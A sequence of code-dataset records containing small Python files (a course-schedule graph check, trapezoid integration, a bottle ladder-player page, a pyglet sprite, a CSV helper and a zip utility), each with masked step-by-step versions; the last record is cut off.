def can_finish(self, numCourses: int, prerequisites: List[List[int]]
) ->bool:
pre_map = {i: [] for i in range(numCourses)}
for crs, pre in prerequisites:
pre_map[crs].append(pre)
visited_set = set()
def dfs(crs):
if crs in visited_set:
return False
if pre_map[crs] == []:
return True
visited_set.add(crs)
for pre in pre_map[crs]:
if not dfs(pre):
return False
visited_set.remove(crs)
pre_map[crs] = []
return True
for crs in range(numCourses):
if not dfs(crs):
return False
return True
|
normal
|
{
"blob_id": "7c53c7bec6b6b2d4d6be89b750eeef83ca9115cc",
"index": 2960,
"step-1": "<mask token>\n\n\nclass CourseSchedule:\n <mask token>\n <mask token>\n",
"step-2": "<mask token>\n\n\nclass CourseSchedule:\n <mask token>\n\n def can_finish(self, numCourses: int, prerequisites: List[List[int]]\n ) ->bool:\n pre_map = {i: [] for i in range(numCourses)}\n for crs, pre in prerequisites:\n pre_map[crs].append(pre)\n visited_set = set()\n\n def dfs(crs):\n if crs in visited_set:\n return False\n if pre_map[crs] == []:\n return True\n visited_set.add(crs)\n for pre in pre_map[crs]:\n if not dfs(pre):\n return False\n visited_set.remove(crs)\n pre_map[crs] = []\n return True\n for crs in range(numCourses):\n if not dfs(crs):\n return False\n return True\n",
"step-3": "<mask token>\n\n\nclass CourseSchedule:\n \"\"\"\n Problem: Course Schedule (#207)\n Key Insights:\n 1. Create adjaceny list of courses to prerequisites.\n 2. Use DFS and visited set to detect a cycle. If there is a cycle, cannot finish all the courses.\n 3. Remember to remove a course (node) from visited set if that course is \"cleared\" (able to take the course). \n 4. Note that this is not a cycle (so if don't remove node in step 3, would incorrectly identify this as a cycle):\n 1 -> 2 -> 3 \n 2 -> 4 -> 3 \n More info: \n 1. Concept of Topological order: for an edge uv, u must always come before v (so no cycles where v also comes before u)\n\n Time Complexity:\n O(V + E):\n 1. Create pre_map: O(P), P: prerequisites\n a. We're iterating through the list of prereqs \n 2. Call dfs: O(C), C: courses\n a. We're iterating through all the courses once \n 3. dfs: O(V + E)\n a. We visit each course and each edge at most once\n\n Space Complexity: O(V + E)\n 1. Create pre_map: O(V + E), V: courses, E: prereqs\n 2. dfs call stack: O(V + E) \n \"\"\"\n\n def can_finish(self, numCourses: int, prerequisites: List[List[int]]\n ) ->bool:\n pre_map = {i: [] for i in range(numCourses)}\n for crs, pre in prerequisites:\n pre_map[crs].append(pre)\n visited_set = set()\n\n def dfs(crs):\n if crs in visited_set:\n return False\n if pre_map[crs] == []:\n return True\n visited_set.add(crs)\n for pre in pre_map[crs]:\n if not dfs(pre):\n return False\n visited_set.remove(crs)\n pre_map[crs] = []\n return True\n for crs in range(numCourses):\n if not dfs(crs):\n return False\n return True\n",
"step-4": "from typing import List\n\n\nclass CourseSchedule:\n \"\"\"\n Problem: Course Schedule (#207)\n Key Insights:\n 1. Create adjaceny list of courses to prerequisites.\n 2. Use DFS and visited set to detect a cycle. If there is a cycle, cannot finish all the courses.\n 3. Remember to remove a course (node) from visited set if that course is \"cleared\" (able to take the course). \n 4. Note that this is not a cycle (so if don't remove node in step 3, would incorrectly identify this as a cycle):\n 1 -> 2 -> 3 \n 2 -> 4 -> 3 \n More info: \n 1. Concept of Topological order: for an edge uv, u must always come before v (so no cycles where v also comes before u)\n\n Time Complexity:\n O(V + E):\n 1. Create pre_map: O(P), P: prerequisites\n a. We're iterating through the list of prereqs \n 2. Call dfs: O(C), C: courses\n a. We're iterating through all the courses once \n 3. dfs: O(V + E)\n a. We visit each course and each edge at most once\n\n Space Complexity: O(V + E)\n 1. Create pre_map: O(V + E), V: courses, E: prereqs\n 2. dfs call stack: O(V + E) \n \"\"\"\n\n def can_finish(self, numCourses: int, prerequisites: List[List[int]]\n ) ->bool:\n pre_map = {i: [] for i in range(numCourses)}\n for crs, pre in prerequisites:\n pre_map[crs].append(pre)\n visited_set = set()\n\n def dfs(crs):\n if crs in visited_set:\n return False\n if pre_map[crs] == []:\n return True\n visited_set.add(crs)\n for pre in pre_map[crs]:\n if not dfs(pre):\n return False\n visited_set.remove(crs)\n pre_map[crs] = []\n return True\n for crs in range(numCourses):\n if not dfs(crs):\n return False\n return True\n",
"step-5": null,
"step-ids": [
1,
2,
3,
4
]
}
|
[
1,
2,
3,
4
] |
import numpy as np
"""
function for calculating integrals using the trapezoid method
x is a vector of independent variables
y is a vector of dependent variables
a is the initial value
b is the final value
n is the number of intervals
y_generator is the function to be integrated
"""
def trapezoid_integral(**kwargs):
a = kwargs.get('a', None)
b = kwargs.get('b', None)
n = kwargs.get('n', 2)
y_generator = kwargs.get('y_generator', None)
x = kwargs.get('x', None)
y = kwargs.get('y', None)
if y is None:
h = (b-a)/n
x = np.linspace(a, b, n+1)
y = [y_generator(x[i]) for i in range(n+1)]
vectors_length = len(x)
integral_value = y[0]
for i in range(2, vectors_length):
integral_value += 2*y[i - 1]
integral_value += y[vectors_length - 1]
integral_value *= h/2
return integral_value
else:
sum = 0
for i in range(len(x) - 1):
sum += ((y[i] + y[i+1])/2 * (x[i+1] - x[i]))
return sum
|
normal
|
{
"blob_id": "8ce468460a81c7869f3abb69035a033c58e0f699",
"index": 8828,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef trapezoid_integral(**kwargs):\n a = kwargs.get('a', None)\n b = kwargs.get('b', None)\n n = kwargs.get('n', 2)\n y_generator = kwargs.get('y_generator', None)\n x = kwargs.get('x', None)\n y = kwargs.get('y', None)\n if y is None:\n h = (b - a) / n\n x = np.linspace(a, b, n + 1)\n y = [y_generator(x[i]) for i in range(n + 1)]\n vectors_length = len(x)\n integral_value = y[0]\n for i in range(2, vectors_length):\n integral_value += 2 * y[i - 1]\n integral_value += y[vectors_length - 1]\n integral_value *= h / 2\n return integral_value\n else:\n sum = 0\n for i in range(len(x) - 1):\n sum += (y[i] + y[i + 1]) / 2 * (x[i + 1] - x[i])\n return sum\n",
"step-3": "import numpy as np\n<mask token>\n\n\ndef trapezoid_integral(**kwargs):\n a = kwargs.get('a', None)\n b = kwargs.get('b', None)\n n = kwargs.get('n', 2)\n y_generator = kwargs.get('y_generator', None)\n x = kwargs.get('x', None)\n y = kwargs.get('y', None)\n if y is None:\n h = (b - a) / n\n x = np.linspace(a, b, n + 1)\n y = [y_generator(x[i]) for i in range(n + 1)]\n vectors_length = len(x)\n integral_value = y[0]\n for i in range(2, vectors_length):\n integral_value += 2 * y[i - 1]\n integral_value += y[vectors_length - 1]\n integral_value *= h / 2\n return integral_value\n else:\n sum = 0\n for i in range(len(x) - 1):\n sum += (y[i] + y[i + 1]) / 2 * (x[i + 1] - x[i])\n return sum\n",
"step-4": "import numpy as np\n\n\"\"\"\n function for calculating integrals using the trapezoid method\n x is a vector of independent variables\n y is a vector of dependent variables\n a is the initial value\n b is the final value\n n is the number of intervals\n y_generator is the function to be integrated\n\"\"\"\n\ndef trapezoid_integral(**kwargs):\n\n a = kwargs.get('a', None)\n b = kwargs.get('b', None)\n n = kwargs.get('n', 2)\n y_generator = kwargs.get('y_generator', None)\n\n x = kwargs.get('x', None)\n y = kwargs.get('y', None)\n \n if y is None:\n h = (b-a)/n\n x = np.linspace(a, b, n+1)\n y = [y_generator(x[i]) for i in range(n+1)]\n vectors_length = len(x)\n \n integral_value = y[0]\n\n for i in range(2, vectors_length):\n integral_value += 2*y[i - 1]\n \n integral_value += y[vectors_length - 1]\n integral_value *= h/2\n return integral_value\n \n else:\n sum = 0\n for i in range(len(x) - 1):\n sum += ((y[i] + y[i+1])/2 * (x[i+1] - x[i]))\n return sum\n \n\n\n",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
#!/usr/bin/python
# -*- coding: utf-8 -*-
from fieldsets import getSingleField, SortAsc
from sqlalchemy import func
from ladderdb import ElementNotFoundException, EmptyRankingListException
from db_entities import Player, Result
from bottle import route,request
from globe import db,env
@route('/player')
def output( ):
player_name = getSingleField( 'player', request )
order = getSingleField( 'order', request , 'nick')
ladder_id = getSingleField( 'ladder', request )
try:
s = db.sessionmaker()
if player_name:
player = db.GetPlayer( player_name )
ladders = db.GetLadderByPlayer( player.id )
played = dict()
positions = dict()
for ladder in ladders:
positions[ladder.id] = db.GetPlayerPosition( ladder.id, player.id )
played[ladder.id] = s.query( Result.id ).filter( Result.ladder_id == ladder.id ).filter( Result.player_id == player.id ).count()
results = s.query( Result ).filter( Result.player_id == player.id).order_by(Result.date.desc())[0:5]
matches = []
for r in results:
matches.append( r.match )
template = env.get_template('viewplayer.html')
s.close()
return template.render(player=player,ladders=ladders, positions=positions,played=played,matches=matches )
else:
asc = getSingleField( 'asc', request, 'False' )
if not asc:
asc = 'False'
q = s.query( Player, func.count(Result.id).label('played')).outerjoin( (Result, Result.player_id == Player.id ) )\
.filter( Player.id.in_(s.query( Result.player_id ).filter( Player.id == Result.player_id ) ) ) \
.filter( Result.player_id == Player.id ).group_by( Player.id )
if ladder_id:
q = q.filter( Player.id.in_( s.query( Result.player_id ).filter( Result.ladder_id == ladder_id ) ) )
if order == 'nick':
q = q.order_by( SortAsc( Player.nick, asc ) )
elif order == 'id' :
q = q.order_by( SortAsc( Player.id, asc ) )
else:
order = 'played'
q = q.order_by( SortAsc( func.count(Result.id), asc ) )
limit = int(getSingleField( 'limit', request, q.count() ))
offset = int(getSingleField( 'offset', request, 0 ))
players = q[offset:offset+limit-1]
template = env.get_template('viewplayerlist.html')
s.close()
return template.render(players=players,offset=offset,limit=limit,order=order,asc=asc )
except ElementNotFoundException, e:
err_msg="player %s not found"%(str(player_name))
except EmptyRankingListException, m:
err_msg=(str(m))
if s:
s.close()
template = env.get_template('error.html')
return template.render( err_msg=err_msg )
|
normal
|
{
"blob_id": "97d128694709c4fe0d9ec2b2749d8e4ec5df7322",
"index": 8812,
"step-1": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom fieldsets import getSingleField, SortAsc\nfrom sqlalchemy import func\nfrom ladderdb import ElementNotFoundException, EmptyRankingListException\nfrom db_entities import Player, Result\nfrom bottle import route,request\nfrom globe import db,env\n\n@route('/player')\ndef output( ):\n\tplayer_name = getSingleField( 'player', request )\n\torder = getSingleField( 'order', request , 'nick')\n\tladder_id = getSingleField( 'ladder', request )\n\ttry:\n\t\ts = db.sessionmaker()\n\t\tif player_name:\n\t\t\tplayer = db.GetPlayer( player_name )\n\t\t\tladders = db.GetLadderByPlayer( player.id )\n\t\t\tplayed = dict()\n\t\t\tpositions = dict()\n\t\t\tfor ladder in ladders:\n\t\t\t\tpositions[ladder.id] = db.GetPlayerPosition( ladder.id, player.id )\n\t\t\t\tplayed[ladder.id] = s.query( Result.id ).filter( Result.ladder_id == ladder.id ).filter( Result.player_id == player.id ).count()\n\n\t\t\tresults = s.query( Result ).filter( Result.player_id == player.id).order_by(Result.date.desc())[0:5]\n\t\t\tmatches = []\n\t\t\tfor r in results:\n\t\t\t\tmatches.append( r.match )\n\n\t\t\ttemplate = env.get_template('viewplayer.html')\n\t\t\ts.close()\n\t\t\treturn template.render(player=player,ladders=ladders, positions=positions,played=played,matches=matches )\n\t\telse:\n\t\t\tasc = getSingleField( 'asc', request, 'False' )\n\t\t\tif not asc:\n\t\t\t\tasc = 'False'\n\t\t\tq = s.query( Player, func.count(Result.id).label('played')).outerjoin( (Result, Result.player_id == Player.id ) )\\\n\t\t\t\t.filter( Player.id.in_(s.query( Result.player_id ).filter( Player.id == Result.player_id ) ) ) \\\n\t\t\t\t.filter( Result.player_id == Player.id ).group_by( Player.id )\n\t\t\tif ladder_id:\n\t\t\t\tq = q.filter( Player.id.in_( s.query( Result.player_id ).filter( Result.ladder_id == ladder_id ) ) )\n\t\t\tif order == 'nick':\n\t\t\t\tq = q.order_by( SortAsc( Player.nick, asc ) )\n\t\t\telif order == 'id' :\n\t\t\t\tq = q.order_by( SortAsc( Player.id, asc ) )\n\t\t\telse:\n\t\t\t\torder = 'played'\n\t\t\t\tq = q.order_by( SortAsc( func.count(Result.id), asc ) )\n\n\t\t\tlimit = int(getSingleField( 'limit', request, q.count() ))\n\t\t\toffset = int(getSingleField( 'offset', request, 0 ))\n\t\t\tplayers = q[offset:offset+limit-1]\n\t\t\ttemplate = env.get_template('viewplayerlist.html')\n\t\t\ts.close()\n\t\t\treturn template.render(players=players,offset=offset,limit=limit,order=order,asc=asc )\n\n\texcept ElementNotFoundException, e:\n\t\terr_msg=\"player %s not found\"%(str(player_name))\n\n\texcept EmptyRankingListException, m:\n\t\terr_msg=(str(m))\n\tif s:\n\t\ts.close()\n\ttemplate = env.get_template('error.html')\n\treturn template.render( err_msg=err_msg )",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0
]
}
|
[
0
] |
import pyglet
import math
from lvl1_resources import fireball
class Fire(pyglet.sprite.Sprite):
def __init__( self, *args, **kwargs):
super(Fire, self).__init__(img= fireball, *args, **kwargs)
self.rotation= 45
self.rotate_speed= 5
self.velocity_x= 5
def check_bounds(self):
max_x= 1000 + self.image.width/2
if self.x > max_x:
self.x= -self.image.width/2
def update(self):
self.rotation += self.rotate_speed
self.x += self.velocity_x
self.check_bounds()
def remote_update(self, x, rotation):
self.rotation= rotation
self.x= x
self.check_bounds()
def distance(self, point_1=(0, 0), point_2=(0, 0)):
"""Returns the distance between two points"""
return math.sqrt((point_1[0]-point_2[0])**2+(point_1[1]-point_2[1])**2)
def collides_with(self, other_object):
collision_distance = self.image.width*0.5*self.scale \
+ other_object.image.width*0.5*other_object.scale
actual_distance = self.distance(self.position, other_object.position)
return (actual_distance <= collision_distance)
|
normal
|
{
"blob_id": "cf2bbe332237bd849df62be099f1719eaf1f2082",
"index": 1523,
"step-1": "<mask token>\n\n\nclass Fire(pyglet.sprite.Sprite):\n <mask token>\n <mask token>\n\n def update(self):\n self.rotation += self.rotate_speed\n self.x += self.velocity_x\n self.check_bounds()\n\n def remote_update(self, x, rotation):\n self.rotation = rotation\n self.x = x\n self.check_bounds()\n\n def distance(self, point_1=(0, 0), point_2=(0, 0)):\n \"\"\"Returns the distance between two points\"\"\"\n return math.sqrt((point_1[0] - point_2[0]) ** 2 + (point_1[1] -\n point_2[1]) ** 2)\n\n def collides_with(self, other_object):\n collision_distance = (self.image.width * 0.5 * self.scale + \n other_object.image.width * 0.5 * other_object.scale)\n actual_distance = self.distance(self.position, other_object.position)\n return actual_distance <= collision_distance\n",
"step-2": "<mask token>\n\n\nclass Fire(pyglet.sprite.Sprite):\n\n def __init__(self, *args, **kwargs):\n super(Fire, self).__init__(*args, img=fireball, **kwargs)\n self.rotation = 45\n self.rotate_speed = 5\n self.velocity_x = 5\n <mask token>\n\n def update(self):\n self.rotation += self.rotate_speed\n self.x += self.velocity_x\n self.check_bounds()\n\n def remote_update(self, x, rotation):\n self.rotation = rotation\n self.x = x\n self.check_bounds()\n\n def distance(self, point_1=(0, 0), point_2=(0, 0)):\n \"\"\"Returns the distance between two points\"\"\"\n return math.sqrt((point_1[0] - point_2[0]) ** 2 + (point_1[1] -\n point_2[1]) ** 2)\n\n def collides_with(self, other_object):\n collision_distance = (self.image.width * 0.5 * self.scale + \n other_object.image.width * 0.5 * other_object.scale)\n actual_distance = self.distance(self.position, other_object.position)\n return actual_distance <= collision_distance\n",
"step-3": "<mask token>\n\n\nclass Fire(pyglet.sprite.Sprite):\n\n def __init__(self, *args, **kwargs):\n super(Fire, self).__init__(*args, img=fireball, **kwargs)\n self.rotation = 45\n self.rotate_speed = 5\n self.velocity_x = 5\n\n def check_bounds(self):\n max_x = 1000 + self.image.width / 2\n if self.x > max_x:\n self.x = -self.image.width / 2\n\n def update(self):\n self.rotation += self.rotate_speed\n self.x += self.velocity_x\n self.check_bounds()\n\n def remote_update(self, x, rotation):\n self.rotation = rotation\n self.x = x\n self.check_bounds()\n\n def distance(self, point_1=(0, 0), point_2=(0, 0)):\n \"\"\"Returns the distance between two points\"\"\"\n return math.sqrt((point_1[0] - point_2[0]) ** 2 + (point_1[1] -\n point_2[1]) ** 2)\n\n def collides_with(self, other_object):\n collision_distance = (self.image.width * 0.5 * self.scale + \n other_object.image.width * 0.5 * other_object.scale)\n actual_distance = self.distance(self.position, other_object.position)\n return actual_distance <= collision_distance\n",
"step-4": "import pyglet\nimport math\nfrom lvl1_resources import fireball\n\n\nclass Fire(pyglet.sprite.Sprite):\n\n def __init__(self, *args, **kwargs):\n super(Fire, self).__init__(*args, img=fireball, **kwargs)\n self.rotation = 45\n self.rotate_speed = 5\n self.velocity_x = 5\n\n def check_bounds(self):\n max_x = 1000 + self.image.width / 2\n if self.x > max_x:\n self.x = -self.image.width / 2\n\n def update(self):\n self.rotation += self.rotate_speed\n self.x += self.velocity_x\n self.check_bounds()\n\n def remote_update(self, x, rotation):\n self.rotation = rotation\n self.x = x\n self.check_bounds()\n\n def distance(self, point_1=(0, 0), point_2=(0, 0)):\n \"\"\"Returns the distance between two points\"\"\"\n return math.sqrt((point_1[0] - point_2[0]) ** 2 + (point_1[1] -\n point_2[1]) ** 2)\n\n def collides_with(self, other_object):\n collision_distance = (self.image.width * 0.5 * self.scale + \n other_object.image.width * 0.5 * other_object.scale)\n actual_distance = self.distance(self.position, other_object.position)\n return actual_distance <= collision_distance\n",
"step-5": "import pyglet\nimport math\nfrom lvl1_resources import fireball\n\nclass Fire(pyglet.sprite.Sprite):\n\tdef __init__( self, *args, **kwargs):\n\t\tsuper(Fire, self).__init__(img= fireball, *args, **kwargs)\n\t\tself.rotation= 45\n\t\tself.rotate_speed= 5\n\t\tself.velocity_x= 5\n\n\tdef check_bounds(self):\n\t\tmax_x= 1000 + self.image.width/2\n\t\tif self.x > max_x:\n\t\t\tself.x= -self.image.width/2\n\n\tdef update(self):\n\t\tself.rotation += self.rotate_speed\n\t\tself.x += self.velocity_x\n\t\tself.check_bounds()\n\n\tdef remote_update(self, x, rotation):\n\t\tself.rotation= rotation\n\t\tself.x= x\n\t\tself.check_bounds()\n\n\tdef distance(self, point_1=(0, 0), point_2=(0, 0)):\n\t\t\"\"\"Returns the distance between two points\"\"\"\n\t\treturn math.sqrt((point_1[0]-point_2[0])**2+(point_1[1]-point_2[1])**2)\n\n\tdef collides_with(self, other_object):\n\n\t\tcollision_distance = self.image.width*0.5*self.scale \\\n + other_object.image.width*0.5*other_object.scale\n \n\t\tactual_distance = self.distance(self.position, other_object.position)\n \n\t\treturn (actual_distance <= collision_distance)\n",
"step-ids": [
5,
6,
7,
8,
9
]
}
|
[
5,
6,
7,
8,
9
] |
# -*- coding: utf-8 -*-
"""
Created on Sun Jan 28 12:54:27 2018
@author: Alex
"""
import numpy as np
def saveListToCSV(filepath, _list):
with open(filepath,'ab') as f:
np.savetxt(f, [_list], delimiter=',', fmt='%f')
|
normal
|
{
"blob_id": "555f4e41661ff4cbf4b9d72feab41ca8b7da2d5f",
"index": 750,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef saveListToCSV(filepath, _list):\n with open(filepath, 'ab') as f:\n np.savetxt(f, [_list], delimiter=',', fmt='%f')\n",
"step-3": "<mask token>\nimport numpy as np\n\n\ndef saveListToCSV(filepath, _list):\n with open(filepath, 'ab') as f:\n np.savetxt(f, [_list], delimiter=',', fmt='%f')\n",
"step-4": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jan 28 12:54:27 2018\n\n@author: Alex\n\"\"\"\n\nimport numpy as np\n\ndef saveListToCSV(filepath, _list):\n with open(filepath,'ab') as f:\n np.savetxt(f, [_list], delimiter=',', fmt='%f')",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
"""
PROYECTO : Portal EDCA-HN
NOMBRE : ZipTools
Descripcion : Clase utilitaria para descomprimir archivos ZIP.
MM/DD/YYYY Colaboradores Descripcion
05/07/2019 Alla Duenas Creacion.
"""
import zipfile
from edca_mensajes import EdcaErrores as err, EdcaMensajes as msg
from edca_logs.EdcaLogger import EdcaLogger as log
class ZipTools:
# Funcion para cromprimir los archivos descargados
@staticmethod
def comprimir(archivo, dir_comprimir):
__archivo_zip = archivo[:archivo.find(".")] + ".zip"
try:
with zipfile.ZipFile(__archivo_zip,'w', zipfile.ZIP_DEFLATED) as archivoZip:
archivoZip.write(archivo)
archivoZip.close()
except PermissionError:
log.registrar_log_error(__name__, err.EdcaErrores.ERR_ZIPTOOL_UNZIP, "EXTRAER ARCHIVO",
msg.EdcaMensajes.obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP) % PermissionError.filename % PermissionError.strerror)
except IOError:
log.registrar_log_error(__name__, err.EdcaErrores.ERR_ZIPTOOL_UNZIP, "EXTRAER ARCHIVO",
msg.EdcaMensajes.obt_mensaje(
err.EdcaErrores.ERR_ZIPTOOL_UNZIP) % IOError.filename % IOError.strerror)
# Funcion para descromprimir los archivos descargados
@staticmethod
def descomprimir(archivo, dir_extraer):
try:
zip_ref = zipfile.ZipFile(archivo, 'r')
zip_list = zip_ref.infolist()
for contenido in zip_list:
log.registrar_log_info(__name__, err.EdcaErrores.INFO_ZIPTOOL_PRINT_DIR,
"EXTRAER ARCHIVO",
msg.EdcaMensajes.obt_mensaje(err.EdcaErrores.INFO_ZIPTOOL_PRINT_DIR) % contenido.filename)
zip_ref.extractall(dir_extraer)
zip_ref.close()
log.registrar_log_info(__name__, err.EdcaErrores.INFO_ZIPTOOL_UNZIP, "EXTRAER ARCHIVO",
msg.EdcaMensajes.obt_mensaje(err.EdcaErrores.INFO_ZIPTOOL_UNZIP))
except PermissionError:
log.registrar_log_error(__name__, err.EdcaErrores.ERR_ZIPTOOL_UNZIP, "EXTRAER ARCHIVO",
msg.EdcaMensajes.obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP) % PermissionError.filename % PermissionError.strerror)
except IOError:
log.registrar_log_error(__name__, err.EdcaErrores.ERR_ZIPTOOL_UNZIP, "EXTRAER ARCHIVO",
msg.EdcaMensajes.obt_mensaje(
err.EdcaErrores.ERR_ZIPTOOL_UNZIP) % IOError.filename % IOError.strerror)
@staticmethod
def obtener_contenido_zip(archivo):
global zp
try:
zip_ref = zipfile.ZipFile(archivo, 'r')
zip_list = zip_ref.infolist()
for contenido in zip_list:
zp = contenido.filename
zip_ref.close()
return zp
except PermissionError:
log.registrar_log_error(__name__, err.EdcaErrores.ERR_ZIPTOOL_UNZIP, "EXTRAER ARCHIVO",
msg.EdcaMensajes.obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP)
% PermissionError.filename % PermissionError.strerror)
except IOError:
log.registrar_log_error(__name__, err.EdcaErrores.ERR_ZIPTOOL_UNZIP, "EXTRAER ARCHIVO",
msg.EdcaMensajes.obt_mensaje(
err.EdcaErrores.ERR_ZIPTOOL_UNZIP) % IOError.filename % IOError.strerror)
|
normal
|
{
"blob_id": "1190e802fde6c2c6f48bd2720688bd9231b622e0",
"index": 6564,
"step-1": "<mask token>\n\n\nclass ZipTools:\n <mask token>\n\n @staticmethod\n def descomprimir(archivo, dir_extraer):\n try:\n zip_ref = zipfile.ZipFile(archivo, 'r')\n zip_list = zip_ref.infolist()\n for contenido in zip_list:\n log.registrar_log_info(__name__, err.EdcaErrores.\n INFO_ZIPTOOL_PRINT_DIR, 'EXTRAER ARCHIVO', msg.\n EdcaMensajes.obt_mensaje(err.EdcaErrores.\n INFO_ZIPTOOL_PRINT_DIR) % contenido.filename)\n zip_ref.extractall(dir_extraer)\n zip_ref.close()\n log.registrar_log_info(__name__, err.EdcaErrores.\n INFO_ZIPTOOL_UNZIP, 'EXTRAER ARCHIVO', msg.EdcaMensajes.\n obt_mensaje(err.EdcaErrores.INFO_ZIPTOOL_UNZIP))\n except PermissionError:\n log.registrar_log_error(__name__, err.EdcaErrores.\n ERR_ZIPTOOL_UNZIP, 'EXTRAER ARCHIVO', msg.EdcaMensajes.\n obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP) %\n PermissionError.filename % PermissionError.strerror)\n except IOError:\n log.registrar_log_error(__name__, err.EdcaErrores.\n ERR_ZIPTOOL_UNZIP, 'EXTRAER ARCHIVO', msg.EdcaMensajes.\n obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP) % IOError.\n filename % IOError.strerror)\n <mask token>\n",
"step-2": "<mask token>\n\n\nclass ZipTools:\n <mask token>\n\n @staticmethod\n def descomprimir(archivo, dir_extraer):\n try:\n zip_ref = zipfile.ZipFile(archivo, 'r')\n zip_list = zip_ref.infolist()\n for contenido in zip_list:\n log.registrar_log_info(__name__, err.EdcaErrores.\n INFO_ZIPTOOL_PRINT_DIR, 'EXTRAER ARCHIVO', msg.\n EdcaMensajes.obt_mensaje(err.EdcaErrores.\n INFO_ZIPTOOL_PRINT_DIR) % contenido.filename)\n zip_ref.extractall(dir_extraer)\n zip_ref.close()\n log.registrar_log_info(__name__, err.EdcaErrores.\n INFO_ZIPTOOL_UNZIP, 'EXTRAER ARCHIVO', msg.EdcaMensajes.\n obt_mensaje(err.EdcaErrores.INFO_ZIPTOOL_UNZIP))\n except PermissionError:\n log.registrar_log_error(__name__, err.EdcaErrores.\n ERR_ZIPTOOL_UNZIP, 'EXTRAER ARCHIVO', msg.EdcaMensajes.\n obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP) %\n PermissionError.filename % PermissionError.strerror)\n except IOError:\n log.registrar_log_error(__name__, err.EdcaErrores.\n ERR_ZIPTOOL_UNZIP, 'EXTRAER ARCHIVO', msg.EdcaMensajes.\n obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP) % IOError.\n filename % IOError.strerror)\n\n @staticmethod\n def obtener_contenido_zip(archivo):\n global zp\n try:\n zip_ref = zipfile.ZipFile(archivo, 'r')\n zip_list = zip_ref.infolist()\n for contenido in zip_list:\n zp = contenido.filename\n zip_ref.close()\n return zp\n except PermissionError:\n log.registrar_log_error(__name__, err.EdcaErrores.\n ERR_ZIPTOOL_UNZIP, 'EXTRAER ARCHIVO', msg.EdcaMensajes.\n obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP) %\n PermissionError.filename % PermissionError.strerror)\n except IOError:\n log.registrar_log_error(__name__, err.EdcaErrores.\n ERR_ZIPTOOL_UNZIP, 'EXTRAER ARCHIVO', msg.EdcaMensajes.\n obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP) % IOError.\n filename % IOError.strerror)\n",
"step-3": "<mask token>\n\n\nclass ZipTools:\n\n @staticmethod\n def comprimir(archivo, dir_comprimir):\n __archivo_zip = archivo[:archivo.find('.')] + '.zip'\n try:\n with zipfile.ZipFile(__archivo_zip, 'w', zipfile.ZIP_DEFLATED\n ) as archivoZip:\n archivoZip.write(archivo)\n archivoZip.close()\n except PermissionError:\n log.registrar_log_error(__name__, err.EdcaErrores.\n ERR_ZIPTOOL_UNZIP, 'EXTRAER ARCHIVO', msg.EdcaMensajes.\n obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP) %\n PermissionError.filename % PermissionError.strerror)\n except IOError:\n log.registrar_log_error(__name__, err.EdcaErrores.\n ERR_ZIPTOOL_UNZIP, 'EXTRAER ARCHIVO', msg.EdcaMensajes.\n obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP) % IOError.\n filename % IOError.strerror)\n\n @staticmethod\n def descomprimir(archivo, dir_extraer):\n try:\n zip_ref = zipfile.ZipFile(archivo, 'r')\n zip_list = zip_ref.infolist()\n for contenido in zip_list:\n log.registrar_log_info(__name__, err.EdcaErrores.\n INFO_ZIPTOOL_PRINT_DIR, 'EXTRAER ARCHIVO', msg.\n EdcaMensajes.obt_mensaje(err.EdcaErrores.\n INFO_ZIPTOOL_PRINT_DIR) % contenido.filename)\n zip_ref.extractall(dir_extraer)\n zip_ref.close()\n log.registrar_log_info(__name__, err.EdcaErrores.\n INFO_ZIPTOOL_UNZIP, 'EXTRAER ARCHIVO', msg.EdcaMensajes.\n obt_mensaje(err.EdcaErrores.INFO_ZIPTOOL_UNZIP))\n except PermissionError:\n log.registrar_log_error(__name__, err.EdcaErrores.\n ERR_ZIPTOOL_UNZIP, 'EXTRAER ARCHIVO', msg.EdcaMensajes.\n obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP) %\n PermissionError.filename % PermissionError.strerror)\n except IOError:\n log.registrar_log_error(__name__, err.EdcaErrores.\n ERR_ZIPTOOL_UNZIP, 'EXTRAER ARCHIVO', msg.EdcaMensajes.\n obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP) % IOError.\n filename % IOError.strerror)\n\n @staticmethod\n def obtener_contenido_zip(archivo):\n global zp\n try:\n zip_ref = zipfile.ZipFile(archivo, 'r')\n zip_list = zip_ref.infolist()\n for contenido in zip_list:\n zp = contenido.filename\n zip_ref.close()\n return zp\n except PermissionError:\n log.registrar_log_error(__name__, err.EdcaErrores.\n ERR_ZIPTOOL_UNZIP, 'EXTRAER ARCHIVO', msg.EdcaMensajes.\n obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP) %\n PermissionError.filename % PermissionError.strerror)\n except IOError:\n log.registrar_log_error(__name__, err.EdcaErrores.\n ERR_ZIPTOOL_UNZIP, 'EXTRAER ARCHIVO', msg.EdcaMensajes.\n obt_mensaje(err.EdcaErrores.ERR_ZIPTOOL_UNZIP) % IOError.\n filename % IOError.strerror)\n",
